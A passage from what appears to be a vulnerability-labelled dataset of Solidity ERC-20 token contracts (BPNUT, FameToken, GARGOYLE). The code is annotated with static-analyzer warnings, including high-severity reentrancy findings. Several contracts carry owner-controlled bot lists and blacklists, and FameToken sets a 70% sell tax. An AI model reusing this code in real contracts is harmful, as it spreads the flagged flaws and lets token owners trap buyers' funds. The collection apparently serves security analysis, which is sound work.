private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x483E4010c634432864409A6a82EC9e78c98c9937);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 037bce4): BPNUT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 037bce4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d3613a1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d3613a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3506d4f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3506d4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d3613a1\n\t\t// reentrancy-benign | ID: 3506d4f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d3613a1\n\t\t// reentrancy-benign | ID: 3506d4f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7059359): BPNUT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7059359: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3506d4f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d3613a1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cd38207): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cd38207: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 30867f7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 30867f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: cd38207\n\t\t\t\t// reentrancy-eth | ID: 30867f7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cd38207\n\t\t\t\t\t// reentrancy-eth | ID: 30867f7\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 30867f7\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 30867f7\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 30867f7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: cd38207\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 30867f7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 30867f7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: cd38207\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d3613a1\n\t\t// reentrancy-events | ID: cd38207\n\t\t// reentrancy-benign | ID: 3506d4f\n\t\t// reentrancy-eth | ID: 30867f7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d3613a1\n\t\t// reentrancy-events | ID: cd38207\n\t\t// reentrancy-eth | ID: 30867f7\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3ddbee9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3ddbee9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6d5fa08): BPNUT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6d5fa08: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9fda095): BPNUT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9fda095: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 68cf58c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 68cf58c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 3ddbee9\n\t\t// reentrancy-eth | ID: 68cf58c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 3ddbee9\n\t\t// unused-return | ID: 6d5fa08\n\t\t// reentrancy-eth | ID: 68cf58c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3ddbee9\n\t\t// unused-return | ID: 9fda095\n\t\t// reentrancy-eth | ID: 68cf58c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 3ddbee9\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 68cf58c\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10587.sol",
"size_bytes": 19880,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7cf87eb): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 7cf87eb: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 7cf87eb\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract FameToken is Context, IERC20, Ownable {\n string private constant _name = \"Fame Token\";\n\n string private constant _symbol = \"FAME\";\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n uint256 public buyTax = 25;\n\n uint256 public sellTax = 70;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1d25c7): FameToken.maxTxAmount should be constant \n\t// Recommendation for d1d25c7: Add the 'constant' attribute to state variables that never change.\n uint256 public maxTxAmount = (_totalSupply * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5788d6): FameToken.maxWalletSize should be constant \n\t// Recommendation for f5788d6: Add the 'constant' attribute to state variables that never change.\n uint256 public maxWalletSize = (_totalSupply * 2) / 100;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isLimitFree;\n\n mapping(address => bool) private _blacklist;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3cf0401): FameToken.taxWallet should be immutable \n\t// Recommendation for 3cf0401: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public taxWallet;\n\n bool private tradingOpen = false;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4283586): FameToken.constructor(address)._taxWallet lacks a zerocheck on \t taxWallet = _taxWallet\n\t// Recommendation for 4283586: Check that the address is not zero.\n constructor(address _taxWallet) {\n\t\t// missing-zero-check | ID: 4283586\n taxWallet = _taxWallet;\n\n _balances[msg.sender] = _totalSupply;\n\n _isLimitFree[msg.sender] = true;\n\n _isLimitFree[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bbcfa77): FameToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bbcfa77: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e3020e3): FameToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e3020e3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: cb54370\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b7eb520\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b7eb520): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b7eb520: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cb54370): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cb54370: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e228b3a): FameToken.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e228b3a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 79e947c): FameToken.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 79e947c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5c4f29d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5c4f29d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-events | ID: b7eb520\n\t\t// reentrancy-benign | ID: cb54370\n\t\t// reentrancy-eth | ID: 5c4f29d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: b7eb520\n\t\t// reentrancy-benign | ID: cb54370\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// unused-return | ID: e228b3a\n\t\t// reentrancy-eth | ID: 5c4f29d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 79e947c\n\t\t// reentrancy-eth | ID: 5c4f29d\n IERC20(uniswapV2Pair).approve(\n address(uniswapV2Router),\n type(uint256).max\n );\n\n\t\t// reentrancy-eth | ID: 5c4f29d\n tradingOpen = true;\n }\n\n function setBlacklist(address wallet, bool value) external onlyOwner {\n _blacklist[wallet] = value;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7a861cd): FameToken.changeTax(uint256,uint256) should emit an event for buyTax = _buyTax sellTax = _sellTax \n\t// Recommendation for 7a861cd: Emit an event for critical parameter changes.\n function changeTax(uint256 _buyTax, uint256 _sellTax) external onlyOwner {\n require(\n _buyTax <= buyTax && _sellTax <= sellTax,\n \"Tax can only be lowered\"\n );\n\n\t\t// events-maths | ID: 7a861cd\n buyTax = _buyTax;\n\n\t\t// events-maths | ID: 7a861cd\n sellTax = _sellTax;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 916fa19): FameToken.setUniswapV2Pair(address)._pair lacks a zerocheck on \t uniswapV2Pair = _pair\n\t// Recommendation for 916fa19: Check that the address is not zero.\n function setUniswapV2Pair(address _pair) external onlyOwner {\n\t\t// missing-zero-check | ID: 916fa19\n uniswapV2Pair = _pair;\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(!_blacklist[from], \"Sender is blacklisted\");\n\n uint256 taxAmount = 0;\n\n if (from == uniswapV2Pair) {\n taxAmount = (amount * buyTax) / 100;\n } else if (to == uniswapV2Pair) {\n taxAmount = (amount * sellTax) / 100;\n }\n\n uint256 transferAmount = amount - taxAmount;\n\n _balances[from] -= amount;\n\n _balances[to] += transferAmount;\n\n _balances[taxWallet] += taxAmount;\n\n emit Transfer(from, to, transferAmount);\n\n if (taxAmount > 0) {\n emit Transfer(from, taxWallet, taxAmount);\n }\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10588.sol",
"size_bytes": 12508,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e037b87): GARGOYLE.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for e037b87: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: de02c68): GARGOYLE.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for de02c68: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6516879): GARGOYLE.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 6516879: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ea95b43): GARGOYLE.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for ea95b43: Consider ordering multiplication before division.\ncontract GARGOYLE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 60bfcc3): GARGOYLE._taxWallet should be immutable \n\t// Recommendation for 60bfcc3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 986376e): GARGOYLE._initialBuyTax should be constant \n\t// Recommendation for 986376e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e4b4a1e): GARGOYLE._initialSellTax should be constant \n\t// Recommendation for e4b4a1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6cbb39): GARGOYLE._finalBuyTax should be constant \n\t// Recommendation for e6cbb39: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cffd3f7): GARGOYLE._finalSellTax should be constant \n\t// Recommendation for cffd3f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 655b4e0): GARGOYLE._reduceBuyTaxAt should be constant \n\t// Recommendation for 655b4e0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 519e84f): GARGOYLE._reduceSellTaxAt should be constant \n\t// Recommendation for 519e84f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1264160): GARGOYLE._preventSwapBefore should be constant \n\t// Recommendation for 1264160: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 98af507): GARGOYLE._transferTax should be constant \n\t// Recommendation for 98af507: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bitcoin Dog\";\n\n string private constant _symbol = unicode\"Gargoyle\";\n\n\t// divide-before-multiply | ID: ea95b43\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: de02c68\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 4613aeb): GARGOYLE._taxSwapThreshold should be constant \n\t// Recommendation for 4613aeb: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 6516879\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d68735): GARGOYLE._maxTaxSwap should be constant \n\t// Recommendation for 0d68735: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: e037b87\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: fd4686c): GARGOYLE.uniswapV2Router should be immutable \n\t// Recommendation for fd4686c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e39373d): GARGOYLE.uniswapV2Pair should be immutable \n\t// Recommendation for e39373d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b9d06f5): GARGOYLE.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b9d06f5: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0xc58eA59E5Bb73204aD275428D3Ed86334411e5aa);\n\n _balances[_msgSender()] = 